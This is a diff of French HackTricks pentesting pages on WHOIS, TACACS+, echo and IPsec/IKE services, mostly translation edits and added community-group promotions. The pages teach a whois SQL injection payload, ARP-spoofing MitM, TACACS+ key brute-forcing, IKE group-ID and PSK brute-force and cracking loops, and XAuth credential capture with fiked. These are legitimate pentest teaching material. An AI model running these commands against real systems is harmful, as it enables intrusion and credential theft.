Le protocole **WHOIS** sert de méthode standard pour **s'informer sur les titulaires de diverses ressources Internet** via des bases de données spécifiques. Ces ressources comprennent les noms de domaine, les blocs d'adresses IP et les systèmes autonomes, entre autres. Au-delà de cela, le protocole est utilisé pour accéder à un spectre plus large d'informations.
|
||||
Le protocole **WHOIS** sert de méthode standard pour **s'informer sur les titulaires de diverses ressources Internet** via des bases de données spécifiques. Ces ressources comprennent les noms de domaine, les blocs d'adresses IP et les systèmes autonomes, entre autres. En outre, le protocole est utilisé pour accéder à un spectre plus large d'informations.
|
||||
|
||||
**Port par défaut :** 43
|
||||
```
|
||||
|
@ -29,17 +36,23 @@ Obtenez toutes les informations qu'un service whois possède sur un domaine :
|
|||
whois -h <HOST> -p <PORT> "domain.tld"
|
||||
echo "domain.ltd" | nc -vn <HOST> <PORT>
|
||||
```
|
||||
Noticez que parfois, lors de la demande d'informations à un service WHOIS, la base de données utilisée apparaît dans la réponse :
|
||||
Parfois, lorsqu'une demande d'informations est faite à un service WHOIS, la base de données utilisée apparaît dans la réponse :
|
||||
|
||||
![](<../.gitbook/assets/image (147).png>)
|
||||
|
||||
De plus, le service WHOIS doit toujours utiliser une **base de données** pour stocker et extraire les informations. Ainsi, une possible **injection SQL** pourrait être présente lors de la **requête** de la base de données à partir des informations fournies par l'utilisateur. Par exemple, en faisant : `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` vous pourriez être en mesure d'**extraire toutes** les **informations** enregistrées dans la base de données.
|
||||
De plus, le service WHOIS doit toujours utiliser une **base de données** pour stocker et extraire les informations. Ainsi, une **injection SQL** pourrait être possible lors de la **requête** de la base de données à partir des informations fournies par l'utilisateur. Par exemple, en exécutant : `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` vous pourriez être en mesure d'**extraire toutes** les **informations** enregistrées dans la base de données.
|
||||
|
||||
# Shodan
|
||||
|
||||
* `port:43 whois`
|
||||
|
||||
# Commandes Automatiques HackTricks
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
# HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: WHOIS #Protocol Abbreviation if there is one.
|
||||
Port_Number: 43 #Comma separated if there is more than one.
|
||||
|
|
|
@ -1,19 +1,27 @@
|
|||
# 49 - Pentesting TACACS+
|
||||
# 49 - Test d'intrusion TACACS+
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Informations de base
|
||||
|
||||
Le protocole **Terminal Access Controller Access Control System (TACACS)** est utilisé pour valider de manière centralisée les utilisateurs tentant d'accéder aux routeurs ou aux serveurs d'accès réseau (NAS). Sa version améliorée, **TACACS+**, sépare les services en authentification, autorisation et comptabilité (AAA).
|
||||
|
@ -25,11 +33,11 @@ PORT STATE SERVICE
|
|||
|
||||
## Intercepter la clé d'authentification
|
||||
|
||||
Si la communication entre le client et le serveur TACACS est interceptée par un attaquant, **la clé d'authentification chiffrée peut être interceptée**. L'attaquant peut alors tenter une **attaque de force brute locale contre la clé sans être détecté dans les journaux**. En cas de succès dans la force brute de la clé, l'attaquant obtient l'accès aux équipements du réseau et peut décrypter le trafic en utilisant des outils comme Wireshark.
|
||||
Si la communication entre le client et le serveur TACACS est interceptée par un attaquant, **la clé d'authentification chiffrée peut être interceptée**. L'attaquant peut ensuite tenter une **attaque de force brute locale contre la clé sans être détecté dans les journaux**. En cas de succès dans la force brute de la clé, l'attaquant obtient l'accès aux équipements du réseau et peut décrypter le trafic en utilisant des outils comme Wireshark.
|
||||
|
||||
### Réalisation d'une attaque MitM
|
||||
|
||||
Une **attaque de spoofing ARP peut être utilisée pour réaliser une attaque de l'Homme du Milieu (MitM)**.
|
||||
Une attaque de **spoofing ARP peut être utilisée pour réaliser une attaque de l'Homme du Milieu (MitM)**.
|
||||
|
||||
### Force brute de la clé
|
||||
|
||||
|
@ -37,10 +45,10 @@ Une **attaque de spoofing ARP peut être utilisée pour réaliser une attaque de
|
|||
```
|
||||
sudo loki_gtk.py
|
||||
```
|
||||
Si la clé est **forcée avec succès** (**généralement au format crypté MD5)**, **nous pouvons accéder à l'équipement et décrypter le trafic chiffré TACACS.**
|
||||
Si la clé est réussie **bruteforcée** (**généralement au format crypté MD5)**, **nous pouvons accéder à l'équipement et décrypter le trafic chiffré TACACS.**
|
||||
|
||||
### Décryptage du trafic
|
||||
Une fois la clé crackée avec succès, la prochaine étape consiste à **décrypter le trafic chiffré TACACS**. Wireshark peut gérer le trafic TACACS chiffré si la clé est fournie. En analysant le trafic décrypté, des informations telles que la **bannière utilisée et le nom d'utilisateur de l'administrateur** peuvent être obtenues.
|
||||
Une fois la clé réussie, la prochaine étape consiste à **décrypter le trafic chiffré TACACS**. Wireshark peut gérer le trafic TACACS chiffré si la clé est fournie. En analysant le trafic décrypté, des informations telles que la **bannière utilisée et le nom d'utilisateur de l'administrateur** peuvent être obtenues.
|
||||
|
||||
En accédant au panneau de contrôle de l'équipement réseau en utilisant les identifiants obtenus, l'attaquant peut exercer un contrôle sur le réseau. Il est important de noter que ces actions sont strictement à des fins éducatives et ne doivent pas être utilisées sans autorisation appropriée.
|
||||
|
||||
|
@ -48,6 +56,11 @@ En accédant au panneau de contrôle de l'équipement réseau en utilisant les i
|
|||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -58,7 +71,7 @@ Autres façons de soutenir HackTricks:
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Rejoignez** 💬 [**le groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,16 +2,23 @@
|
|||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
# Informations de base
|
||||
|
||||
|
@ -19,7 +26,7 @@ Un service d'écho fonctionne sur cet hôte. Le service d'écho était destiné
|
|||
**Il est possible de provoquer un déni de service en connectant un service d'écho au service d'écho sur la même machine ou sur une autre**. En raison du nombre excessivement élevé de paquets produits, les machines affectées peuvent être efficacement mises hors service.\
|
||||
Informations provenant de [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
||||
|
||||
**Port par défaut:** 7/tcp/udp
|
||||
**Port par défaut :** 7/tcp/udp
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
7/udp open echo
|
||||
|
@ -42,16 +49,22 @@ Hello echo #This is the response
|
|||
[CA-1996-01 Attaque par déni de service sur le port UDP](http://www.cert.org/advisories/CA-1996-01.html)
|
||||
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,12 +8,20 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Informations de base
|
||||
|
||||
**IPsec** est largement reconnu comme la technologie principale pour sécuriser les communications entre les réseaux (LAN à LAN) et des utilisateurs distants à la passerelle réseau (accès distant), servant de base aux solutions VPN d'entreprise.
|
||||
|
@ -66,11 +74,11 @@ Tout d'abord, vous devez créer toutes les transformations possibles :
|
|||
```bash
|
||||
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
|
||||
```
|
||||
Et ensuite effectuer une attaque par force brute sur chacun en utilisant ike-scan (cela peut prendre plusieurs minutes) :
|
||||
Et ensuite effectuez une attaque par force brute sur chacun en utilisant ike-scan (cela peut prendre plusieurs minutes) :
|
||||
```bash
|
||||
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
|
||||
```
|
||||
Si la méthode de la force brute n'a pas fonctionné, peut-être que le serveur répond sans poignées de main même aux transformations valides. Ensuite, vous pourriez essayer la même méthode de force brute mais en utilisant le mode agressif :
|
||||
Si la méthode de la force brute n'a pas fonctionné, peut-être que le serveur répond sans poignées de main même aux transformations valides. Ensuite, vous pourriez essayer la même méthode de la force brute mais en utilisant le mode agressif :
|
||||
```bash
|
||||
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
|
||||
```
|
||||
|
@ -85,11 +93,11 @@ Vous pourriez également essayer de forcer les transformations avec [**ikeforce*
|
|||
Dans **Groupe DH : 14 = MODP 2048 bits** et **15 = 3072 bits**\
|
||||
**2 = HMAC-SHA = SHA1 (dans ce cas). Le format `--trans` est $Enc,$Hash,$Auth,$DH**
|
||||
|
||||
Cisco indique d'éviter d'utiliser les groupes DH 1 et 2 car ils ne sont pas assez forts. Les experts estiment que **les pays disposant de nombreuses ressources peuvent facilement casser le chiffrement** des données utilisant ces groupes faibles. Cela se fait en utilisant une méthode spéciale qui les prépare à casser rapidement les codes. Même si cela coûte cher de mettre en place cette méthode, cela permet à ces pays puissants de lire les données chiffrées en temps réel si elles utilisent un groupe qui n'est pas fort (comme 1 024 bits ou moins).
|
||||
Cisco indique d'éviter d'utiliser les groupes DH 1 et 2 car ils ne sont pas assez forts. Les experts estiment que **les pays disposant de nombreuses ressources peuvent facilement casser le chiffrement** des données utilisant ces groupes faibles. Cela se fait en utilisant une méthode spéciale qui les prépare à casser rapidement les codes. Bien que cela coûte cher pour mettre en place cette méthode, cela permet à ces pays puissants de lire les données chiffrées en temps réel si elles utilisent un groupe qui n'est pas fort (comme 1 024 bits ou moins).
|
||||
|
||||
### Identification du serveur
|
||||
### Fingerprinting du serveur
|
||||
|
||||
Ensuite, vous pouvez utiliser ike-scan pour essayer de **découvrir le fournisseur** du dispositif. L'outil envoie une proposition initiale et arrête de rejouer. Ensuite, il **analyse** la **différence de temps** entre les **messages** reçus du serveur et le modèle de réponse correspondant, le testeur d'intrusion peut identifier avec succès le fournisseur de passerelle VPN. De plus, certains serveurs VPN utiliseront la charge utile **ID de fournisseur (VID)** optionnelle avec IKE.
|
||||
Ensuite, vous pouvez utiliser ike-scan pour essayer de **découvrir le fournisseur** du dispositif. L'outil envoie une proposition initiale et arrête de rejouer. Ensuite, il **analyse** la **différence de temps** entre les **messages** reçus du serveur et le modèle de réponse correspondant, le testeur d'intrusion peut identifier avec succès le fournisseur de passerelle VPN. De plus, certains serveurs VPN utiliseront la charge utile **Vendor ID (VID)** optionnelle avec IKE.
|
||||
|
||||
**Spécifiez la transformation valide si nécessaire** (en utilisant --trans)
|
||||
|
||||
|
@ -117,7 +125,7 @@ Cela peut également être réalisé avec le script nmap _**ike-version**_
|
|||
|
||||
## Trouver le bon ID (nom de groupe)
|
||||
|
||||
Pour être autorisé à capturer le hash, vous avez besoin d'une transformation valide prenant en charge le mode Aggressif et le bon ID (nom de groupe). Vous ne connaîtrez probablement pas le nom de groupe valide, vous devrez donc le brute-force.\
|
||||
Pour être autorisé à capturer le hash, vous avez besoin d'une transformation valide prenant en charge le mode Aggressif et du bon ID (nom de groupe). Vous ne connaîtrez probablement pas le nom de groupe valide, vous devrez donc le brute-force.\
|
||||
Pour ce faire, je vous recommanderais 2 méthodes:
|
||||
|
||||
### Brute-force de l'ID avec ike-scan
|
||||
|
@ -140,20 +148,20 @@ Vous pouvez utiliser le [dictionnaire d'ikeforce](https://github.com/SpiderLabs/
|
|||
```bash
|
||||
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
|
||||
```
|
||||
### Bruteforcing ID with Iker
|
||||
### Bruteforcer l'ID avec Iker
|
||||
|
||||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) utilise également **ike-scan** pour effectuer une attaque par force brute sur les noms de groupe possibles. Il suit sa propre méthode pour **trouver un ID valide basé sur la sortie de ike-scan**.
|
||||
|
||||
### Bruteforcing ID with ikeforce
|
||||
### Bruteforcer l'ID avec ikeforce
|
||||
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) est un outil qui peut être utilisé pour **forcer de manière brute les IDs également**. Cet outil **essaiera d'exploiter différentes vulnérabilités** qui pourraient être utilisées pour **différencier un ID valide d'un ID non valide** (pouvant présenter des faux positifs et des faux négatifs, c'est pourquoi je préfère utiliser la méthode ike-scan si possible).
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) est un outil qui peut être utilisé pour **brute forcer les IDs également**. Cet outil **essaiera d'exploiter différentes vulnérabilités** qui pourraient être utilisées pour **différencier un ID valide d'un ID non valide** (il peut y avoir des faux positifs et des faux négatifs, c'est pourquoi je préfère utiliser la méthode ike-scan si possible).
|
||||
|
||||
Par défaut, **ikeforce** enverra au début quelques IDs aléatoires pour vérifier le comportement du serveur et déterminer la tactique à utiliser.
|
||||
|
||||
* La **première méthode** consiste à effectuer une attaque par force brute sur les noms de groupe en **recherchant** les informations **Dead Peer Detection DPD** des systèmes Cisco (ces informations ne sont renvoyées que par le serveur si le nom du groupe est correct).
|
||||
* La **première méthode** consiste à effectuer une attaque par force brute sur les noms de groupe en **recherchant** les informations **Dead Peer Detection DPD** des systèmes Cisco (ces informations ne sont renvoyées que par le serveur si le nom de groupe est correct).
|
||||
* La **deuxième méthode** disponible consiste à **vérifier le nombre de réponses envoyées à chaque tentative** car parfois plus de paquets sont envoyés lorsque le bon ID est utilisé.
|
||||
* La **troisième méthode** consiste à **rechercher "INVALID-ID-INFORMATION" en réponse à un ID incorrect**.
|
||||
* Enfin, si le serveur ne renvoie rien aux vérifications, **ikeforce** tentera de forcer de manière brute le serveur et vérifiera si lorsque le bon ID est envoyé, le serveur renvoie un paquet.
|
||||
* Enfin, si le serveur ne renvoie rien aux vérifications, **ikeforce** tentera de faire une attaque par force brute sur le serveur et vérifiera si lorsque le bon ID est envoyé, le serveur renvoie un paquet.\
|
||||
Évidemment, l'objectif de la force brute sur l'ID est d'obtenir la **PSK** lorsque vous avez un ID valide. Ensuite, avec l'**ID** et la **PSK**, vous devrez effectuer une attaque par force brute sur le XAUTH (si celui-ci est activé).
|
||||
|
||||
Si vous avez découvert une transformation spécifique, ajoutez-la dans la commande ikeforce. Et si vous avez découvert plusieurs transformations, n'hésitez pas à ajouter une nouvelle boucle pour les essayer toutes (vous devriez les essayer toutes jusqu'à ce que l'une d'entre elles fonctionne correctement).
|
||||
|
@ -173,7 +181,7 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
|||
|
||||
## Capture et craquage du hash
|
||||
|
||||
Enfin, si vous avez trouvé une **transformation valide** et le **nom du groupe** et si le **mode agressif est autorisé**, alors vous pouvez très facilement obtenir le hash crackable:
|
||||
Enfin, si vous avez trouvé une **transformation valide** et le **nom du groupe** et si le **mode agressif est autorisé**, alors vous pouvez très facilement récupérer le hash crackable:
|
||||
```bash
|
||||
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
|
||||
```
|
||||
|
@ -185,22 +193,22 @@ psk-crack -d <Wordlist_path> psk.txt
|
|||
```
|
||||
## **XAuth**
|
||||
|
||||
**Le mode IKE en mode agressif** combiné à une **clé pré-partagée (PSK)** est couramment utilisé à des fins d'**authentification de groupe**. Cette méthode est complétée par **XAuth (Authentification étendue)**, qui sert à introduire une couche supplémentaire d'**authentification utilisateur**. Une telle authentification exploite généralement des services tels que **Microsoft Active Directory**, **RADIUS**, ou des systèmes comparables.
|
||||
**Le mode IKE agressif** combiné à une **clé pré-partagée (PSK)** est couramment utilisé à des fins d'**authentification de groupe**. Cette méthode est complétée par **XAuth (Extended Authentication)**, qui sert à introduire une couche supplémentaire d'**authentification utilisateur**. Une telle authentification exploite généralement des services tels que **Microsoft Active Directory**, **RADIUS**, ou des systèmes comparables.
|
||||
|
||||
En passant à **IKEv2**, on observe un changement notable où **EAP (Protocole d'authentification extensible)** est utilisé à la place de **XAuth** dans le but d'authentifier les utilisateurs. Ce changement souligne une évolution des pratiques d'authentification au sein des protocoles de communication sécurisés.
|
||||
En passant à **IKEv2**, on observe un changement notable où **EAP (Extensible Authentication Protocol)** est utilisé à la place de **XAuth** dans le but d'authentifier les utilisateurs. Ce changement souligne une évolution des pratiques d'authentification au sein des protocoles de communication sécurisés.
|
||||
|
||||
|
||||
### MitM du réseau local pour capturer les identifiants
|
||||
### Man-in-the-Middle (MitM) sur le réseau local pour capturer les identifiants
|
||||
|
||||
Ainsi, vous pouvez capturer les données de connexion en utilisant _fiked_ et voir s'il y a un nom d'utilisateur par défaut (Vous devez rediriger le trafic IKE vers `fiked` pour l'écoute, ce qui peut être fait à l'aide de l'usurpation ARP, [plus d'informations](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked agira en tant que point de terminaison VPN et capturera les identifiants XAuth:
|
||||
Ainsi, vous pouvez capturer les données de connexion en utilisant _fiked_ et voir s'il y a un nom d'utilisateur par défaut (Vous devez rediriger le trafic IKE vers `fiked` pour l'écoute, ce qui peut être fait à l'aide de l'usurpation ARP, [plus d'informations](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked agira comme un point de terminaison VPN et capturera les identifiants XAuth:
|
||||
```bash
|
||||
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||||
```
|
||||
### Attaque de l'homme du milieu (MitM) et blocage du trafic sur le port 500 en utilisant IPSec
|
||||
### Attaque de l'homme du milieu (MitM) et blocage du trafic sur le port 500
|
||||
|
||||
Pour effectuer une attaque de l'homme du milieu (MitM) en bloquant tout le trafic vers le port 500, vous pouvez essayer d'utiliser IPSec. Si le tunnel IPSec ne peut pas être établi, il est possible que le trafic soit envoyé en clair.
|
||||
Également, en utilisant IPSec, essayez de réaliser une attaque de l'homme du milieu (MitM) et de bloquer tout le trafic vers le port 500. Si le tunnel IPSec ne peut pas être établi, il est possible que le trafic soit envoyé en clair.
|
||||
|
||||
### Brute-forcer le nom d'utilisateur et le mot de passe XAUTH avec ikeforce
|
||||
### Brute-forcing du nom d'utilisateur et du mot de passe XAUTH avec ikeforce
|
||||
|
||||
Pour effectuer une attaque de force brute sur le **XAUTH** (lorsque vous connaissez un nom de groupe valide **id** et la **psk**), vous pouvez utiliser un nom d'utilisateur ou une liste de noms d'utilisateurs et une liste de mots de passe :
|
||||
```bash
|
||||
|
@ -240,24 +248,30 @@ Assurez-vous d'utiliser des valeurs réelles et sécurisées pour remplacer les
|
|||
|
||||
## Matériel de référence
|
||||
|
||||
* [Article sur le craquage de PSK](http://www.ernw.de/download/pskattack.pdf)
|
||||
* [Document de craquage PSK](http://www.ernw.de/download/pskattack.pdf)
|
||||
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
|
||||
* [Analyse d'une implémentation VPN](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
|
||||
* Évaluation de la sécurité du réseau, 3e édition
|
||||
* [Balayage d'une implémentation VPN](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
|
||||
* Évaluation de la sécurité du réseau, 3ème édition
|
||||
|
||||
## Shodan
|
||||
|
||||
* `port:500 IKE`
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
